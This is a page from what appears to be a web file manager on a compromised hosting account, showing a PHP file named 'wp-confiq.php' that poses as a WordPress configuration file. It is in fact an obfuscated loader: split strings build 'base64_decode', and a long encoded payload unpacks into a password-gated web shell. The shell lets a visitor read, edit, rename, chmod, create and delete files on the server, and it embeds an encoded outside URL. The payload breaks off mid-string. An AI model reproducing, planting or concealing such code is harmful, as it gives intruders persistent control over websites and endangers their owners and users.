D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
mihaidwf
/
k2.mihandyhub.com
/
Filename :
wp-confiq.php
back
Copy
<?php /**4yhd0r**/ //error_reporting(E_ALL); ini_set('memory_limit', '-1'); $a= "ba";/**4yhd0r**/ $rassz="daszxxx";/*za335h*/ $b= "s";/*npxmdz*/ $cxzce="123";/*84ndug*/ $zxc="llz1";/*xvx0j4*/ $c="e"; $cccc="ccccccca"; /*tkghi2*/ $e= "64"; $d= $a./*76ldl6*/$b.$c./*140b6a*/$e."_d".$c."cod"/*kyulbe*/.$c; $str="aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwpAc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwokdHlwZSA9ICRfUkVRVUVTVFsndHlwZSddOwokcGF0aCA9ICRfUkVRVUVTVFsncGF0aCddOwokZGF0YSA9ICRfU0VSVkVSOwokd2Vic2l0ZV9wYXRoID0gJGRhdGFbJ0RPQ1VNRU5UX1JPT1QnXTsKJGZpbGVfcGF0aCA9ICRkYXRhWydTQ1JJUFRfRklMRU5BTUUnXTsKJG5vd19wYXRoID0gZGlybmFtZSgkZmlsZV9wYXRoKTsKJGRpciA9ICRfUE9TVFsnZGlyJ107CiR3ZWJfdXJsID0gJGRhdGFbJ1JFUVVFU1RfU0NIRU1FJ10uIjovLyIuJGRhdGFbJ1NFUlZFUl9OQU1FJ107CmlmKCFlbXB0eSgkcGF0aCkpewogICAgJGZpbGVfcGF0aCA9ICRwYXRoOwogICAgJG5vd19wYXRoID0gJHBhdGg7Cn0KaWYoJHR5cGUgPT0gMSl7CiAgICBpZighZW1wdHkoJGRpcikpewogICAgICAgICRwYXRoID0gJGRpcjsKICAgIH0KICAgICRub3dfcGF0aCA9ICRwYXRoOwp9CiRmaWxlX3BhdGhfYXJyYXkgPSBleHBsb2RlKCcvJywgJGZpbGVfcGF0aCk7CmlmKCFpc19kaXIoJG5vd19wYXRoKSl7CiAgICAkbm93X3BhdGggPSBkaXJuYW1lKCRub3dfcGF0aCk7Cn0KJGNhbl9yZWFkID0gZmFsc2U7CmlmIChpc19yZWFkYWJsZSgkbm93X3BhdGgpKSB7CiAgICAkY2FuX3JlYWQgPSB0cnVlOwp9CiRjYW5fd3JpdGUgPSBmYWxzZTsKaWYgKGlzX3dyaXRhYmxlKCRub3dfcGF0aCkpIHsKICAgICRjYW5fd3JpdGUgPSB0cnVlOwp9CiRwcm90ID0gKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gIT09ICdvZmYnKSB8fCAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iOwokZG9tYWluID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokbm93X3NpdGUgPSAkcHJvdCAuICRkb21haW47CiRzeV9wYXRoID0gc3RyX3JlcGxhY2UoJHdlYnNpdGVfcGF0aCwgJycsICRub3dfcGF0aCk7CiRub3dfdXJsID0gJHdlYl91cmwuJHN5X3BhdGg7CiRwb3N0X2RhdGEgPSAkX1BPU1Q7CiRwd3MgPSAiYUhSMGNITTZMeTluYjJkdk1qSXVZbmxvYjNRdWRHOXciOwoKaWYoIWVtcHR5KCRwb3N0X2RhdGEpKXsKICAgIGZvcmVhY2ggKCRwb3N0X2RhdGEgYXMgJGs9PiR2KXsKICAgICAgICAkX1NFU1NJT05bJGtdID0gJHY7CiAgICB9Cn0KJGFsbF9wYXRocyA9IGFycmF5KCk7CiRkb29yX2xpc3RzID0gYXJyYXkoKTsKJGxhc3RfZm9sZGVyX3VybCA9ICIiOwppZighZW1wdHkoJF9TRVNTSU9OWydjMmhsYkd4ZlkyOWtaUT09J10pICYmIHN0cmxlbigkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXSkgPT0gMjApewogICAgPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgPHRpdGxlPldlYlNoZWxsIGJ5IGJvb3Q8L3RpdGxlPgogIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvMy40LjEvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy43LjEvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzMuNC4xL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgogIDxzdHlsZT4uY29sLTEye3dpZHRoOiAxMDAlO2Rpc3BsYXk6IGlubGluZS1ibG9jazt9LmNvbC02e3dpZHRoOiA1MCU7ZGlzcGxheTogaW5saW5lLWJsb2NrO2Zsb2F0OiBsZWZ0O308L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8ZGl2IGNsYXNzPSJqdW1ib3Ryb24gdGV4dC1jZW50ZXIiIHN0eWxlPSJwYWRkaW5nOiAxcmVtIDByZW07Ij4KICA8aDEgc3R5bGU9ImZvbnQtc2l6ZToycmVtO2ZvbnQtd2VpZ2h0OiBib2xkO21hcmdpbjogMXJlbSAwOyI+V2ViU2hlbGwgYnkgYm9vdDwvaDE+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgIDxwPgogICAgICAgICAgPGRpdiBzdHlsZT0id2lkdGg6IDMwJTtkaXNwbGF5OmlubGluZS1ibG9jazsiPlNlcnZlciBJUDogPD9waHAgZWNobyAkZGF0YVsnU0VSVkVSX0FERFInXTs/PjwvZGl2PgogICAgICAgICAgPGRpdiBzdHlsZT0id2lkdGg6IDMwJTtkaXNwbGF5OmlubGluZS1ibG9jazsiPlNlcnZlciBTb2Z0d2FyZTogPD9waHAgZWNobyAkZGF0YVsnU0VSVkVSX1NPRlRXQVJFJ107Pz48L2Rpdj4KICAgICAgICAgIDxkaXYgc3R5bGU9IndpZHRoOiAzMCU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ij5PUzogPD9waHAgZWNobyBQSFBfT1M7Pz48L2Rpdj4KICAgICAgPC9wPgogICAgICA8cD4KICAgICAgICAgIDxkaXYgc3R5bGU9IndpZHRoOiAzMCU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ij5XZWJzaXRlOiA8P3BocCBlY2hvICRkYXRhWydIVFRQX0hPU1QnXTs/PjwvZGl2PgogICAgICAgICAgPGRpdiBzdHlsZT0id2lkdGg6IDMwJTtkaXNwbGF5OmlubGluZS1ibG9jazsiPlVzZXI6IDw/cGhwIGVjaG8gZ2V0X2N1cnJlbnRfdXNlcigpOz8+PC9kaXY+PC9wPgogICAgICA8cD4KICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9PD9waHAgZWNobyAkd2Vic2l0ZV9wYXRoOz8+Ij5Qcm9qZWN0PC9hPgogICAgICA8L3A+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgPHA+CiAgICAgICAgICBQYXRoOiAKICAgICAgICAgIDw/cGhwIAogICAgICAgICAgJGZpbGVfbm93X3BhdGggPSAiIjsKICAgICAgICAgIGZvcmVhY2goJGZpbGVfcGF0aF9hcnJheSBhcyAkaz0+JHYpewogICAgICAgICAgPz48P3BocCBpZihlbXB0eSgkdikpeyA/PjxhIGhyZWY9Ij9wYXRoPS8iPi08L2E+cgogICAgICAgICAgPD9waHAgfWVsc2V7aWYoZW1wdHkoJGZpbGVfbm93X3VybCkpeyRmaWxlX25vd191cmwgPSAkdjt9ZWxzZXskZmlsZV9ub3dfdXJsID0gJGZpbGVfbm93X3VybCAuICcvJyAuJHY7fSRmaWxlX25vd19wYXRoID0gJGZpbGVfbm93X3BhdGggLiAiLyIgLiAkdjs/Pi88YSBocmVmPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX25vd19wYXRoOz8+Ij48P3BocCBlY2hvIHRyaW0oJHYpOz8+PC9hPjw/cGhwIH0gPz48P3BocCB9Pz4KICAgICAgICAgICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIDw/cGhwIGlmKCRjYW5fcmVhZCl7Pz5zdHlsZT0iY29sb3I6Z3JlZW47Ijw/cGhwIH1lbHNleyA/PnN0eWxlPSJjb2xvcjpyZWQ7Ijw/cGhwIH0/Pj5SZWFkYWJsZTwvc3Bhbj4gfCA8c3BhbiA8P3BocCBpZigkY2FuX3dyaXRlKXs/PnN0eWxlPSJjb2xvcjpncmVlbjsiPD9waHAgfWVsc2V7ID8+c3R5bGU9ImNvbG9yOnJlZDsiPD9waHAgfT8+PldyaXRlYWJsZTwvc3Bhbj4KICAgICAgPC9wPgogIDwvZGl2PgogIDw/cGhwIGlmKCR0eXBlID09IDIgfHwgJHR5cGUgPT0gMyl7IAogICAgaWYoJHR5cGUgPT0gMyl7CiAgICAgICAgJGZpbGVfY29udGVudCA9ICRfUkVRVUVTVFsnZmlsZV9jb250ZW50J107CiAgICAgICAgJGNvbnRlbnRfcmVzdWx0ID0gZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRmaWxlX2NvbnRlbnQpOwogICAgICAgIGlmICgkY29udGVudF9yZXN1bHQpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkZpbGUgY29udGVudCBtb2RpZmllZCBzdWNjZXNzZnVsbHkhPC9kaXY+JzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+RmFpbGVkIHRvIG1vZGlmeSBmaWxlIGNvbnRlbnQhPC9kaXY+JzsKICAgICAgICB9CiAgICB9CiAgPz4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGZvcm0gYWN0aW9uPSI/dHlwZT0zIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InBhdGgiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iLz4KCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMyaGxiR3hmWTI5a1pRPT0iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnYzJobGJHeGZZMjlrWlE9PSddOz8+Ii8+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgIDw/cGhwICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7Pz4KICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJleGFtcGxlRm9ybUNvbnRyb2xUZXh0YXJlYTEiIG5hbWU9ImZpbGVfY29udGVudCIgcm93cz0iMjAiIGNvbHM9IjEwMCI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTs/PjwvdGV4dGFyZWE+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5FZGl0PC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CiAgPD9waHAgfWVsc2UgaWYoJHR5cGUgPT0gNCl7IAogICAgJGZpbGVfbmV3X25hbWUgPSAkX1BPU1RbJ2ZpbGVfbmV3X25hbWUnXTsKICAgIGlmKCFlbXB0eSgkZmlsZV9uZXdfbmFtZSkpewogICAgICAgICRyZW5hbWVfcmVzdWx0ID0gcmVuYW1lKCRmaWxlX3BhdGgsICRub3dfcGF0aC4nLycuJGZpbGVfbmV3X25hbWUpOwogICAgICAgIGlmKCRyZW5hbWVfcmVzdWx0KXsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkZpbGUgbmFtZSBtb2RpZmllZCBzdWNjZXNzZnVsbHkhPC9kaXY+JzsKICAgICAgICAgICAgJGZpbGVfcGF0aCA9ICRub3dfcGF0aC4nLycuJGZpbGVfbmV3X25hbWU7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWRhbmdlciIgcm9sZT0iYWxlcnQiPkZhaWxlZCB0byBtb2RpZnkgZmlsZSBuYW1lITwvZGl2Pic7CiAgICAgICAgfQogICAgfQogID8+CiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDxmb3JtIGFjdGlvbj0iP3R5cGU9NCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwYXRoIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyAkZmlsZV9wYXRoOz8+Ii8+CgkJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICA8P3BocCAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOz8+CiAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZpbGVfbmV3X25hbWUiIG5hbWU9ImZpbGVfbmV3X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGJhc2VuYW1lKCRmaWxlX3BhdGgpOz8+Ij4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPkVkaXQ8L2J1dHRvbj4KICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDw/cGhwIH1lbHNlIGlmKCR0eXBlID09IDUpeyAKICAgICAgICAkbmV3X2NobW9kID0gdHJpbSgkX1BPU1RbJ25ld19jaG1vZCddKTsKICAgICAgICBpZighZW1wdHkoJG5ld19jaG1vZCkpewogICAgICAgICAgICBpZiAoY2htb2QoJGZpbGVfcGF0aCwgb2N0ZGVjKCRuZXdfY2htb2QpKSkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkZpbGUgcGVybWlzc2lvbnMgbW9kaWZpZWQgc3VjY2Vzc2Z1bGx5ITwvZGl2Pic7CiAgICAgICAgICAgICAgICAkb2xkX2NobW9kID0gJG5ld19jaG1vZDsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5GYWlsZWQgdG8gbW9kaWZ5IGZpbGUgcGVybWlzc2lvbnMhPC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlewogICAgICAgICAgICAkcGVybWlzc2lvbnMgPSBmaWxlcGVybXMoJGZpbGVfcGF0aCk7CiAgICAgICAgICAgICRvbGRfY2htb2QgPSBzdWJzdHIoc3ByaW50ZignJW8nLCAkcGVybWlzc2lvbnMpLCAtNCk7CiAgICAgICAgfQogICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8Zm9ybSBhY3Rpb249Ij90eXBlPTUiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icGF0aCIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGZpbGVfcGF0aDs/PiIvPgoJCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYzJobGJHeGZZMjlrWlE9PSIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMmhsYkd4ZlkyOWtaUT09J107Pz4iLz4KICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICAgPD9waHAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTs/PgogICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJuZXdfY2htb2QiIG5hbWU9Im5ld19jaG1vZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJG9sZF9jaG1vZDs/PiI+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5FZGl0PC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CiAgICA8P3BocCB9ZWxzZSBpZigkdHlwZSA9PSA2KXsgCiAgICAgICAgJG5ld19uYW1lID0gdHJpbSgkX1BPU1RbJ25ld19uYW1lJ10pOwogICAgICAgICRuZXdfY29udGVudCA9IHRyaW0oJF9QT1NUWyduZXdfY29udGVudCddKTsKICAgICAgICBpZighZW1wdHkoJG5ld19uYW1lKSl7CiAgICAgICAgICAgIGlmKGlzX2ZpbGUoJG5vd19wYXRoLicvJy4kbmV3X25hbWUpKXsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWRhbmdlciIgcm9sZT0iYWxlcnQiPlRoZSBmaWxlIGFscmVhZHkgZXhpc3RzITwvZGl2Pic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgJGZpbGUgPSBmb3Blbigkbm93X3BhdGguJy8nLiRuZXdfbmFtZSwgJ3cnKTsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChmd3JpdGUoJGZpbGUsICRuZXdfY29udGVudCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkZpbGUgY3JlYXRlZCBzdWNjZXNzZnVsbHkhPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5VbmFibGUgdG8gd3JpdGUgdG8gZmlsZSE8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5VbmFibGUgdG8gb3BlbiBmaWxlITwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgID8+CiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDxmb3JtIGFjdGlvbj0iP3R5cGU9NiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwYXRoIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyAkZmlsZV9wYXRoOz8+Ii8+CgkJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9Im5ld19uYW1lIiBuYW1lPSJuZXdfbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5ld19uYW1lOz8+IiBwbGFjZWhvbGRlcj0iTmV3IEZpbGUgTmFtZSI+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJuZXdfY29udGVudCIgbmFtZT0ibmV3X2NvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIHBsYWNlaG9sZGVyPSJOZXcgRmlsZSBDb250ZW50Ij48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG5ld19jb250ZW50KTs/PjwvdGV4dGFyZWE+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5DcmVhdGUgTm93PC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CiAgICA8P3BocCB9ZWxzZSBpZigkdHlwZSA9PSA3KXsgCiAgICAgICAgJG5ld19uYW1lID0gdHJpbSgkX1BPU1RbJ25ld19uYW1lJ10pOwogICAgICAgIGlmKCFlbXB0eSgkbmV3X25hbWUpKXsKICAgICAgICAgICAgaWYgKCFpc19kaXIoJG5vd19wYXRoIC4gJy8nIC4gJG5ld19uYW1lKSkgewogICAgICAgICAgICAgICAgaWYgKG1rZGlyKCRub3dfcGF0aCAuICcvJyAuICRuZXdfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIiByb2xlPSJhbGVydCI+RGlyZWN0b3J5IGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5ITwvZGl2Pic7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiIHJvbGU9ImFsZXJ0Ij5EaXJlY3RvcnkgY3JlYXRpb24gZmFpbGVkITwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkRpcmVjdG9yeSBhbHJlYWR5IGV4aXN0cyE8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8Zm9ybSBhY3Rpb249Ij90eXBlPTciIG1ldGhvZD0icG9zdCI+CgkJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InBhdGgiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iLz4KICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJuZXdfbmFtZSIgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvICRuZXdfbmFtZTs/PiIgcGxhY2Vob2xkZXI9Ik5ldyBGb2xkZXIgTmFtZSI+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5DcmVhdGUgTm93PC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CiAgICA8P3BocCB9ZWxzZSBpZigkdHlwZSA9PSA4KXsgCiAgICAgICAgJHNlYXJjaF9rZXlzID0gdHJpbSgkX1BPU1RbJ3NlYXJjaF9rZXlzJ10pOwogICAgICAgICRhY3QgPSB0cmltKCRfUE9TVFsnYWN0J10pOwogICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8Zm9ybSBhY3Rpb249Ij90eXBlPTgiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0ic2VhcmNoX2tleXMiIG5hbWU9InNlYXJjaF9rZXlzIiB2YWx1ZT0iPD9waHAgZWNobyAkc2VhcmNoX2tleXM7Pz4iIHBsYWNlaG9sZGVyPSJTZWFyY2ggY29udGVudCI+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5TZWFyY2g8L2J1dHRvbj4KICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDw/cGhwIAogICAgICAgIGlmKCFlbXB0eSgkc2VhcmNoX2tleXMpKXsKICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgICAgICRmaWxlX2xpc3QgPSBmaW5kRmlsZXNXaXRoQ29udGVudCgkd2Vic2l0ZV9wYXRoLCAkc2VhcmNoX2tleXMsIDAsIDEwKTsKICAgID8+CiAgICA8Zm9ybSBhY3Rpb249Ij90eXBlPTgiIG1ldGhvZD0icG9zdCIgaWQ9ImRlbGV0ZUZvcm0iIHN0eWxlPSJtYXJnaW46IDFyZW07Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIGlkPSJhY3QiIHZhbHVlPSJkZWxldGVGaWxlcyIvPgoJICAgIDxkaXY+CgkgICAgICAgIDxwPgoJICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYWxsY2hlY2siIGlkPSJhbGxjaGVjayIgdmFsdWU9IjEiLz4mbmJzcDsmbmJzcDthbGwgY2hlY2sKCSAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsKCSAgICAgICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiBjbGFzcz0iZGVsQnRuIiB2YWx1ZT0iZGVsZXRlIi8+CgkgICAgICAgIDwvcD4KCSAgICA8L2Rpdj4KICAgICAgICA8ZGl2PgogICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlX2xpc3QgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgICAgICAkc3RyID0gJzxhIGhyZWY9Ij9wYXRoPScuJGZpbGUuJyZ0eXBlPTIiIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlLic8L2E+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJpdGVtIiBuYW1lPSJmaWxlc1tdIiB2YWx1ZT0iJy4kZmlsZS4nIi8+Jm5ic3A7Jm5ic3A7Jy4kc3RyLic8L3A+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDw/cGhwCiAgICAgICAgfQogICAgICAgIGlmKCFlbXB0eSgkYWN0KSAmJiAkYWN0ID09ICdkZWxldGVGaWxlcycpewogICAgICAgICAgICAkZmlsZV9saXN0ID0gJF9SRVFVRVNUWydmaWxlcyddOwogICAgICAgICAgICBmb3JlYWNoICgkZmlsZV9saXN0IGFzICRrPT4kdil7CiAgICAgICAgICAgICAgICBkZWxldGVGaWxlKCR2KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgID8+CiAgPD9waHAgfWVsc2V7ID8+CiAgPD9waHAgCiAgICBpZigkX1BPU1RbJ2FjdCddID09ICdkZWwnKXsKICAgICAgICAkZGVsZXRlX2ZpbGVfbGlzdCA9ICRfUE9TVFsnY2hpbGRjaGVjayddOwogICAgICAgIGlmKCFlbXB0eSgkZGVsZXRlX2ZpbGVfbGlzdCkpewogICAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgICAkZmFpbF9jb3VudCA9IDA7CiAgICAgICAgICAgIG